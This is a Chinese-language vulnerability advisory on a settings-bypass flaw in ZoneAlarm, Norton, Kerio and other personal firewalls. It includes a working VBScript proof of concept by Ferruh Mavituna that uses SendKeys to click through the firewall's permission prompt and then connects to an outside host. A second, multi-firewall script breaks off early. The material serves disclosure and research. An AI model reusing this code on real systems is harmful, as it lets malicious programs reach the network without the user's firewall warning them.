多个防火墙产品设置绕过漏洞

受影响系统：

Zone Labs ZoneAlarm Pro 4.5.538.001
Zone Labs ZoneAlarm Pro 4.5
Symantec Norton Personal Firewall 2004
Symantec Norton Personal Firewall 2003
Symantec Norton Personal Firewall 2002
Kerio Personal Firewall 4.1.2
Kerio Personal Firewall 4.1.1
Kerio Personal Firewall 4.1.0

描述：

---

多数个人防火墙允许快捷方式或者接口控制通信。

多数个人防火墙访问实现控制存在问题，远程攻击者可以利用这个漏洞可以通过控制鼠标或者发送快捷方式来绕过防火墙控制，完全访问系统。

攻击者可以设置一个VBScript脚本，此脚本执行一个多线程的自身的实例并当第一个实例连接到Internet时发送快捷方式给防火墙，可导致控制防火墙行为，绕过控制。

另外也可以通过鼠标控件来绕过，程序没有使用一个实际的多先程，因为部分防火墙会直接打断程序执行，因此程序使用一个参数执行另一个自身的实例来实现，绕过防火墙控制。

利用这个问题，可导致木马等恶意程序进行SERVER监听或者直接访问防火墙而不被防火墙提示。

<*来源：Ferruh Mavituna （ ferruh@mavituna.com）
  
  链接： http://marc.theaimsgroup.com/?l=bugtraq&m=110478641332370&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Ferruh Mavituna （ ferruh@mavituna.com）提供了如下测试方法：

'***********************************************************
'// By Ferruh Mavituna
'// ferruh{@}mavituna.com, http://ferruh.mavituna.com
'***********************************************************
'// Date : 4/25/2004
'// Simple POC for Skipping Zone Alarm Firewall with sendKeys and multithreading
'// Related Advisory : NOT PUBLISHED YET
'***********************************************************
'Modified for Agnitium Outpost Firewall 2.1.303.4009 (314)
'Tested : Agnitium Outpost Firewall 2.5.369.4608 (369)
'5/5/2004
'02.01.2005
'Ferruh Mavituna
    'Const DELAY = 1000
    'Const TIMES = 1
    'Const EXTRADELAY = 0

'***********************************************************

Option Explicit

Dim argLen, shell, sendKeyMod, i, appName
Const DELAY = 1000
Const TIMES = 1
Const EXTRADELAY = 0

appName = Wscript.ScriptName

'SendKey
sendkeyMod = False
argLen = WScript.Arguments.Length
If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then
    
    'First Sleep for a while
    If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

    'Force
    While i<TIMES
        i=i+1
        WScript.Sleep DELAY
        '1) First add it  trusted
        shell.sendKeys "+{TAB}" 'Go back once
        shell.sendKeys "{UP 2}" 'Go Up

        '1) Press Enter
        shell.sendKeys "{ENTER}" 'Enter
    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
End If

'Wscript.Echo WScript.ScriptFullName
Call shell.Run(appName & " /send")

'Connect
Wscript.Echo connect(" http://ferruh.mavituna.com") & "Mission Accomplished..."

Set shell = Nothing
Wscript.Quit 1


Function connect(ByVal URL)
    Dim web
    Set web = CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect = web.getAllResponseHeaders
    Set web = Nothing
End Function
["anti-hacker.txt" (text/plain)]

'***********************************************************
'// By Ferruh Mavituna
'// ferruh{@}mavituna.com, http://ferruh.mavituna.com
'***********************************************************
'// Date : 4/25/2004
'// Simple POC for Bypassing multiple firewall products
'// Related Advisory : NOT PUBLISHED YET
'***********************************************************
'HISTORY
    '3/5/2004
        'Added ZA

    '5/5/2004
        'Added Kerio, Outpost

    '6/5/2004
        'Added Kaspersky Anti-Hacker
'***********************************************************

Option Explicit

Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall
Const EXTRADELAY = 0
Const DETERMINEFIREWALL = FALSE 'Auto Determine current Firewall

'----------------------------------------------
'Define Delays and Times for Firewalls
'----------------------------------------------
    '// Firewalls
    'Zo